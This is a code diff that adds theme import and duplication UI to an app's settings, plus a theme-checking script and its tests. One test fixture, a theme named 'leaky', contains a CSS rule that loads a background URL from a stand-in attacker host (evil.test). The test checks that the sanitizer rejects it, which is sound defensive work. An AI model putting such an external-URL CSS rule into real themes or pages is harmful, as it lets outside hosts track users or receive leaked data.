- {selected ? (
- <span className="flex min-w-0 items-center gap-2">
- <ThemeSwatch theme={selected} mode={appliedMode} />
- <span className="truncate">{themeLabelFor(selected)}</span>
- </span>
+ <div className="flex items-center gap-2">
+ {selectedInstalled ? (
+ <Button
+ variant="ghost"
+ size="icon-sm"
+ className="text-muted-foreground"
+ aria-label={t(($) => $.appearance.theme.remove, { name: selectedInstalled.name })}
+ title={t(($) => $.appearance.theme.remove, { name: selectedInstalled.name })}
+ onClick={() => {
+ set({ theme: "default" });
+ uninstall(selectedInstalled.id);
+ }}
+ >
+ <Trash2 />
+ </Button>
+ ) : null}
+ <Select
+ items={items}
+ value={selected ? theme : "default"}
+ onValueChange={(next) => {
+ if (next) set({ theme: next });
+ }}
+ >
+ <SelectTrigger size="sm" className="w-48" aria-label={themeLabel}>
+ <SelectValue>
+ {selected ? (
+ <span className="flex min-w-0 items-center gap-2">
+ <ThemeSwatch theme={selected} mode={appliedMode} />
+ <span className="truncate">{themeLabelFor(selected)}</span>
+ </span>
+ ) : null}
+ </SelectValue>
+ </SelectTrigger>
+ <SelectContent align="end" className="min-w-64">
+ <SelectGroup>
+ <SelectLabel>{t(($) => $.appearance.theme.built_in)}</SelectLabel>
+ {BUILT_IN_THEMES.map((manifest) => option(manifest))}
+ </SelectGroup>
+ {imported.length > 0 ? (
+ <>
+ <SelectSeparator />
+ <SelectGroup>
+ <SelectLabel>{t(($) => $.appearance.theme.installed)}</SelectLabel>
+ {imported.map((manifest) => option(manifest, manifest.author))}
+ </SelectGroup>
+ </>
) : null}
- </SelectValue>
- </SelectTrigger>
- <SelectContent align="end" className="min-w-48">
- {BUILT_IN_THEMES.map((manifest) => (
- <SelectItem key={manifest.id} value={manifest.id}>
- <span className="flex min-w-0 flex-1 items-center gap-2.5">
- <ThemeSwatch theme={manifest} mode={appliedMode} />
- <span className="truncate">{themeLabelFor(manifest)}</span>
- </span>
- </SelectItem>
- ))}
- </SelectContent>
- </Select>
+ {fromFolder.length > 0 ? (
+ <>
+ <SelectSeparator />
+ <SelectGroup>
+ <SelectLabel>{t(($) => $.appearance.theme.folder)}</SelectLabel>
+ {fromFolder.map((manifest) => option(manifest, folders[manifest.id]))}
+ </SelectGroup>
+ </>
+ ) : null}
+ </SelectContent>
+ </Select>
+ <ImportThemeButton />
+ <ThemeToolsMenu theme={activeTheme({ theme }, safeMode.active)} />
+ </div>
</SettingsRow>
+ {folderProblems.length > 0 ? (
+ <div role="status" className="space-y-1.5 px-4 py-3 text-caption">
+ <div className="flex items-center gap-2">
+ <TriangleAlert aria-hidden="true" className="size-3.5 shrink-0 text-warning" />
+ <span>{t(($) => $.appearance.theme.folder_problems)}</span>
+ </div>
+ <ul className="space-y-1 pl-5.5 font-mono text-muted-foreground">
+ {folderProblems.flatMap(({ folder, errors }) =>
+ errors.map((error, i) => (
+ <li key={`${folder}:${i}`} className="break-words">
+ <span className="text-foreground">{folder}</span> {error}
+ </li>
+ )),
+ )}
+ </ul>
+ </div>
+ ) : null}
+ {safeMode.active ? (
+ <div role="status" className="flex items-center gap-3 px-4 py-3 text-caption">
+ <TriangleAlert aria-hidden="true" className="size-3.5 shrink-0 text-warning" />
+ <span className="min-w-0 flex-1">{t(($) => $.appearance.theme.safe_mode)}</span>
+ <Button variant="outline" size="xs" onClick={safeMode.exit}>
+ {t(($) => $.appearance.theme.safe_mode_exit)}
+ </Button>
+ </div>
+ ) : null}
</SettingsCard>
</SettingsSection>
);
}
+/**
+ * Reads a theme from a .zip or a folder, shows what it is and that it can
+ * restyle every page, and installs it on confirmation. Problems are listed
+ * as the checks report them, which is what someone writing a theme needs.
+ */
+function ImportThemeButton() {
+ const { t } = useT("settings");
+ const zipRef = useRef<HTMLInputElement>(null);
+ const folderRef = useRef<HTMLInputElement>(null);
+ const [pending, setPending] = useState<Theme | null>(null);
+ const [errors, setErrors] = useState<string[] | null>(null);
+ const installed = useInstalledThemesStore((s) => s.themes);
+ const install = useInstalledThemesStore((s) => s.install);
+ const uninstall = useInstalledThemesStore((s) => s.uninstall);
+ const set = useAppearanceStore((s) => s.set);
+ const previous = pending ? installed.find((theme) => theme.id === pending.id) : undefined;
+
+ useEffect(() => {
+ // Not in React's input props; it makes the picker choose a folder.
+ folderRef.current?.setAttribute("webkitdirectory", "");
+ }, []);
+
+ const read = async (files: File[]) => {
+ if (files.length === 0) return;
+ const result = await readThemePackage(files);
+ if (result.ok) setPending(result.theme);
+ else setErrors(result.errors);
+ };
+
+ const confirm = () => {
+ if (!pending) return;
+ const replaced = previous;
+ try {
+ install(pending);
+ set({ theme: pending.id });
+ } catch {
+ if (replaced) install(replaced);
+ else uninstall(pending.id);
+ setErrors([t(($) => $.appearance.import.storage_full)]);
+ }
+ setPending(null);
+ };
+
+ const picker = (ref: React.RefObject<HTMLInputElement | null>, props: React.ComponentProps<"input">) => (
+ <input
+ ref={ref}
+ type="file"
+ className="hidden"
+ onChange={(event) => {
+ const files = Array.from(event.target.files ?? []);
+ event.target.value = "";
+ void read(files);
+ }}
+ {...props}
+ />
+ );
+ const assetCount = pending ? Object.keys(pending.assets ?? {}).length : 0;
+ const optionCount = pending?.options?.filter((option) => option.type !== "heading").length ?? 0;
+
+ return (
+ <>
+ <DropdownMenu>
+ <DropdownMenuTrigger render={<Button variant="outline" size="sm" />}>
+ <Upload />
+ {t(($) => $.appearance.import.button)}
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="end">
+ <DropdownMenuGroup>
+ <DropdownMenuLabel className="flex items-center gap-2">
+ {t(($) => $.appearance.import.menu_label)}
+ <Badge variant="secondary">{t(($) => $.appearance.import.beta)}</Badge>
+ </DropdownMenuLabel>
+ <DropdownMenuItem onClick={() => zipRef.current?.click()}>
+ {t(($) => $.appearance.import.from_zip)}
+ </DropdownMenuItem>
+ <DropdownMenuItem onClick={() => folderRef.current?.click()}>
+ {t(($) => $.appearance.import.from_folder)}
+ </DropdownMenuItem>
+ </DropdownMenuGroup>
+ </DropdownMenuContent>
+ </DropdownMenu>
+ {picker(zipRef, { accept: ".zip,application/zip", "aria-label": t(($) => $.appearance.import.from_zip) })}
+ {picker(folderRef, { multiple: true, "aria-label": t(($) => $.appearance.import.from_folder) })}
+ <AlertDialog open={pending !== null} onOpenChange={(open) => !open && setPending(null)}>
+ <AlertDialogContent>
+ <AlertDialogHeader>
+ <AlertDialogTitle className="flex items-center gap-2">
+ <span className="min-w-0 truncate">
+ {t(($) => $.appearance.import.confirm_title, { name: pending?.name ?? "" })}
+ </span>
+ <Badge variant="secondary">{t(($) => $.appearance.import.beta)}</Badge>
+ </AlertDialogTitle>
+ <AlertDialogDescription>{t(($) => $.appearance.import.warning)}</AlertDialogDescription>
+ </AlertDialogHeader>
+ {pending ? (
+ <dl className="grid grid-cols-[auto_1fr] gap-x-4 gap-y-1.5 rounded-md bg-muted px-3 py-2.5 text-caption">
+ {pending.author ? (
+ <>
+ <dt className="text-muted-foreground">{t(($) => $.appearance.import.author)}</dt>
+ <dd className="min-w-0 truncate">{pending.author}</dd>
+ </>
+ ) : null}
+ {pending.version ? (
+ <>
+ <dt className="text-muted-foreground">{t(($) => $.appearance.import.version)}</dt>
+ <dd>
+ {previous?.version
+ ? t(($) => $.appearance.import.replaces, { from: previous.version, to: pending.version })
+ : pending.version}
+ </dd>
+ </>
+ ) : null}
+ <dt className="text-muted-foreground">{t(($) => $.appearance.import.includes)}</dt>
+ <dd>
+ {[
+ "theme.css",
+ assetCount > 0 ? t(($) => $.appearance.import.has_assets, { count: assetCount }) : null,
+ optionCount > 0 ? t(($) => $.appearance.import.has_options, { count: optionCount }) : null,
+ ]
+ .filter(Boolean)
+ .join(" · ")}
+ </dd>
+ </dl>
+ ) : null}
+ <p className="text-caption text-muted-foreground">{t(($) => $.appearance.import.beta_note)}</p>
+ <AlertDialogFooter>
+ <AlertDialogCancel>{t(($) => $.appearance.import.cancel)}</AlertDialogCancel>
+ <AlertDialogAction onClick={confirm}>{t(($) => $.appearance.import.confirm)}</AlertDialogAction>
+ </AlertDialogFooter>
+ </AlertDialogContent>
+ </AlertDialog>
+ <AlertDialog open={errors !== null} onOpenChange={(open) => !open && setErrors(null)}>
+ <AlertDialogContent>
+ <AlertDialogHeader>
+ <AlertDialogTitle>{t(($) => $.appearance.import.error_title)}</AlertDialogTitle>
+ <AlertDialogDescription>{t(($) => $.appearance.import.error_description)}</AlertDialogDescription>
+ </AlertDialogHeader>
+ <ul className="max-h-60 list-disc space-y-1 overflow-y-auto rounded-md bg-muted py-2.5 pr-3 pl-7 font-mono text-caption">
+ {errors?.map((error, i) => <li key={i}>{error}</li>)}
+ </ul>
+ <AlertDialogFooter>
+ <AlertDialogCancel>{t(($) => $.appearance.import.close)}</AlertDialogCancel>
+ </AlertDialogFooter>
+ </AlertDialogContent>
+ </AlertDialog>
+ </>
+ );
+}
+
+const THEME_GUIDE_URL = "https://github.com/multica-ai/multica/blob/main/docs/theming.md";
+
+function downloadFile(data: Uint8Array<ArrayBuffer>, name: string, type: string) {
+ const url = URL.createObjectURL(new Blob([data], { type }));
+ const link = document.createElement("a");
+ link.href = url;
+ link.download = name;
+ link.click();
+ setTimeout(() => URL.revokeObjectURL(url), 0);
+}
+
+/**
+ * Tools for writing a theme: duplicate the active theme as a starting point
+ * and, on Desktop, open the themes folder. On Desktop the copy is written
+ * into the themes folder, applied, and edits to it apply as they are saved;
+ * on web it downloads as a .zip to edit and import.
+ */
+function ThemeToolsMenu({ theme }: { theme: Theme }) {
+ const { t } = useT("settings");
+ const themeLabelFor = useThemeLabel();
+ const install = useInstalledThemesStore((s) => s.install);
+ const set = useAppearanceStore((s) => s.set);
+ const folder = themeFolderAPI();
+
+ const duplicate = async () => {
+ const taken = [...BUILT_IN_THEMES, ...useInstalledThemesStore.getState().themes].map((t) => t.id);
+ if (!folder) {
+ const target = themeCopyTarget(theme, taken);
+ const file = `${target.id}.zip`;
+ downloadFile(writeZip(exportTheme(theme, target)), file, "application/zip");
+ toast.success(t(($) => $.appearance.tools.duplicated_web, { file }));
+ return;
+ }
+ for (let attempt = 0; attempt < 10; attempt += 1) {
+ const target = themeCopyTarget(theme, taken);
+ const files = exportTheme(theme, target);
+ const result = await folder.writeThemeFolder(target.id, files);
+ if (result.ok) {
+ const copy = themeFromFiles(files);
+ if (copy.ok) install(copy.theme);
+ set({ theme: target.id });
+ void folder.openThemeFolder(target.id);
+ toast.success(t(($) => $.appearance.tools.duplicated_desktop, { name: target.name }));
+ return;
+ }
+ if (result.reason !== "exists") {
+ toast.error(t(($) => $.appearance.tools.duplicate_failed, { error: result.error ?? result.reason }));
+ return;
+ }
+ taken.push(target.id);
+ }
+ toast.error(t(($) => $.appearance.tools.duplicate_failed, { error: "exists" }));
+ };
+
+ return (
+ <DropdownMenu>
+ <DropdownMenuTrigger
+ render={<Button variant="ghost" size="icon-sm" className="text-muted-foreground" />}
+ aria-label={t(($) => $.appearance.tools.label)}
+ title={t(($) => $.appearance.tools.label)}
+ >
+ <Ellipsis />
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="end" className="min-w-56">
+ <DropdownMenuItem onClick={() => void duplicate()}>
+ <Copy />
+ {t(($) => $.appearance.tools.duplicate, { name: themeLabelFor(theme) })}
+ </DropdownMenuItem>
+ {folder ? (
+ <DropdownMenuItem onClick={() => void folder.openThemeFolder()}>
+ <FolderOpen />
+ {t(($) => $.appearance.tools.open_folder)}
+ </DropdownMenuItem>
+ ) : null}
+ <DropdownMenuSeparator />
+ <DropdownMenuItem onClick={() => openExternal(THEME_GUIDE_URL)}>
+ <BookOpen />
+ {t(($) => $.appearance.tools.guide)}
+ </DropdownMenuItem>
+ </DropdownMenuContent>
+ </DropdownMenu>
+ );
+}
+
/** The options the active theme declares, rendered from its manifest. */
function ThemeOptionsSection() {
const { t } = useT("settings");
@@ -228,8 +579,10 @@ function ThemeOptionsSection() {
const prefs = useAppearanceStore(useShallow(selectAppearance));
const setThemeOption = useAppearanceStore((s) => s.setThemeOption);
const set = useAppearanceStore((s) => s.set);
+ useInstalledThemesStore((s) => s.themes);
+ const safeMode = useThemeSafeMode((s) => s.active);
const themeLabelFor = useThemeLabel();
- const theme = activeTheme(prefs);
+ const theme = activeTheme(prefs, safeMode);
const options = theme.options ?? [];
if (options.length === 0) return null;
const chosen = prefs.themeOptions[theme.id];
diff --git a/scripts/theme-check.mjs b/scripts/theme-check.mjs
new file mode 100644
index 0000000000..4c87992ae5
--- /dev/null
+++ b/scripts/theme-check.mjs
@@ -0,0 +1,109 @@
+#!/usr/bin/env node
+/**
+ * Checks theme folders or .zip files the way the app and the theme store do:
+ * the manifest, the CSS sanitizer, public variables, Latin font stacks and
+ * WCAG contrast against the app's own palette (packages/ui/styles/tokens.css).
+ * The checks live in packages/core/appearance/theme-check.ts.
+ *
+ * Run: pnpm theme:check <theme folder or .zip>... [--json]
+ * Exits 1 when any theme has an error.
+ */
+
+import { readFileSync, readdirSync, statSync } from "node:fs";
+import { register } from "node:module";
+import { basename, join, relative, resolve, sep } from "node:path";
+import { pathToFileURL } from "node:url";
+
+// The core sources import each other without extensions; resolve them to .ts
+// so Node's type stripping can run them as they are.
+register(
+ "data:text/javascript," +
+ encodeURIComponent(`
+ export async function resolve(specifier, context, next) {
+ try {
+ return await next(specifier, context);
+ } catch (error) {
+ if (!specifier.startsWith(".") || !context.parentURL?.endsWith(".ts")) throw error;
+ return next(specifier + ".ts", context);
+ }
+ }
+ `),
+);
+
+const repoRoot = resolve(import.meta.dirname, "..");
+const core = (file) => pathToFileURL(join(repoRoot, "packages/core/appearance", file)).href;
+const { checkThemeFiles } = await import(core("theme-check.ts"));
+const { basePaletteFromTokens } = await import(core("theme-contrast.ts"));
+const { readZip } = await import(core("theme-archive.ts"));
+const { THEME_PACKAGE_MAX_BYTES } = await import(core("theme-package.ts"));
+
+const SKIPPED = new Set(["node_modules", ".git"]);
+
+function readFolder(root, dir = root, files = []) {
+ for (const entry of readdirSync(dir)) {
+ if (SKIPPED.has(entry) || entry.startsWith(".")) continue;
+ const path = join(dir, entry);
+ if (statSync(path).isDirectory()) readFolder(root, path, files);
+ else files.push({ path: relative(root, path).split(sep).join("/"), data: new Uint8Array(readFileSync(path)) });
+ }
+ return files;
+}
+
+async function readTheme(path) {
+ if (statSync(path).isDirectory()) return { files: readFolder(path) };
+ const archive = await readZip(new Uint8Array(readFileSync(path)), THEME_PACKAGE_MAX_BYTES);
+ return archive.ok ? { files: archive.files } : { error: archive.error };
+}
+
+const args = process.argv.slice(2);
+const json = args.includes("--json");
+const targets = args.filter((arg) => arg !== "--json");
+if (targets.length === 0) {
+ console.error("Usage: pnpm theme:check <theme folder or .zip>... [--json]");
+ process.exit(2);
+}
+
+const base = basePaletteFromTokens(readFileSync(join(repoRoot, "packages/ui/styles/tokens.css"), "utf8"));
+const reports = [];
+for (const target of targets) {
+ const path = resolve(process.env.INIT_CWD ?? process.cwd(), target);
+ let read;
+ try {
+ read = await readTheme(path);
+ } catch (error) {
+ read = { error: error instanceof Error ? error.message : String(error) };
+ }
+ const report = read.error
+ ? { ok: false, issues: [{ level: "error", message: read.error }], contrast: [] }
+ : checkThemeFiles(read.files, base);
+ reports.push({ target, path, ...report });
+}
+
+if (json) {
+ const out = reports.map(({ path, ok, theme, issues, contrast }) => ({
+ path,
+ ok,
+ theme: theme ? { id: theme.id, name: theme.name, version: theme.version ?? null } : null,
+ issues,
+ contrast,
+ }));
+ console.log(JSON.stringify(out, null, 2));
+} else {
+ for (const { target, path, ok, theme, issues, contrast } of reports) {
+ const title = theme ? `${theme.name} (${theme.id}${theme.version ? ` ${theme.version}` : ""})` : basename(path);
+ console.log(`\n${ok ? "✓" : "✗"} ${title} ${target}`);
+ for (const issue of issues) console.log(` ${issue.level === "error" ? "error " : "warning"} ${issue.message}`);
+ if (contrast.length > 0) {
+ const failing = contrast.filter((c) => c.ratio < c.required).length;
+ const lowest = [...contrast].sort((a, b) => a.ratio / a.required - b.ratio / b.required)[0];
+ console.log(
+ ` contrast ${contrast.length} pairs checked, ${failing} below WCAG AA. Lowest: ${lowest.foreground} on ${lowest.background}, ${lowest.mode}${lowest.area === "frame" ? " frame" : ""}, ${lowest.ratio.toFixed(2)}:1 (needs ${lowest.required}:1)`,
+ );
+ }
+ }
+ const errors = reports.reduce((n, r) => n + r.issues.filter((i) => i.level === "error").length, 0);
+ const warnings = reports.reduce((n, r) => n + r.issues.filter((i) => i.level === "warning").length, 0);
+ console.log(`\n${errors === 0 ? "Passed" : "Failed"}: ${errors} error${errors === 1 ? "" : "s"}, ${warnings} warning${warnings === 1 ? "" : "s"}.`);
+}
+
+process.exit(reports.every((report) => report.ok) ? 0 : 1);
diff --git a/scripts/theme-check.test.mjs b/scripts/theme-check.test.mjs
new file mode 100644
index 0000000000..90964d5748
--- /dev/null
+++ b/scripts/theme-check.test.mjs
@@ -0,0 +1,54 @@
+import assert from "node:assert/strict";
+import { spawnSync } from "node:child_process";
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join, resolve } from "node:path";
+import test from "node:test";
+
+const script = resolve(import.meta.dirname, "theme-check.mjs");
+
+function theme(dir, name, { manifest = {}, css }) {
+ const root = join(dir, name);
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, "manifest.json"), JSON.stringify({ apiVersion: 1, id: name, name, ...manifest }));
+ writeFileSync(join(root, "theme.css"), css);
+ return root;
+}
+
+function run(...args) {
+ const result = spawnSync(process.execPath, [script, ...args], { encoding: "utf8" });
+ return { status: result.status, stdout: result.stdout, stderr: result.stderr };
+}
+
+test("passes a good theme and fails a bad one, with every problem listed", (t) => {
+ const dir = mkdtempSync(join(tmpdir(), "theme-check-"));
+ t.after(() => rmSync(dir, { recursive: true, force: true }));
+ const good = theme(dir, "paper", { css: ".theme-light { --radius: 0.25rem; --page-canvas: #fffdf8; }\n" });
+ const bad = theme(dir, "leaky", {
+ css: [
+ ".theme-light { --muted-foreground: #bbbbbb; --font-ui: Inter, sans-serif; --sidebar-width: 1px; }",
+ "body { background: url(https://evil.test/?q=1); }",
+ ].join("\n"),
+ });
+
+ const passing = run(good);
+ assert.equal(passing.status, 0, passing.stdout + passing.stderr);
+ assert.match(passing.stdout, /✓ paper \(paper\)/);
+
+ const failing = run(good, bad, "--json");
+ assert.equal(failing.status, 1);
+ const [paper, leaky] = JSON.parse(failing.stdout);
+ assert.equal(paper.ok, true);
+ assert.equal(leaky.ok, false);
+ const messages = leaky.issues.map((issue) => issue.message).join("\n");
+ assert.match(messages, /theme\.css line 2: url\("https:\/\/evil\.test\/\?q=1"\)/);
+ assert.match(messages, /--sidebar-width is not a public variable/);
+ assert.match(messages, /--font-ui names sans-serif/);
+ assert.match(messages, /--muted-foreground is below 4\.5:1 on .*--surface \(\d\.\d\d:1\)/);
+});
+
+test("explains a path that is not a theme", () => {
+ const result = run(join(tmpdir(), "no-such-theme-folder"));
+ assert.equal(result.status, 1);
+ assert.match(result.stdout, /no-such-theme-folder/);
+});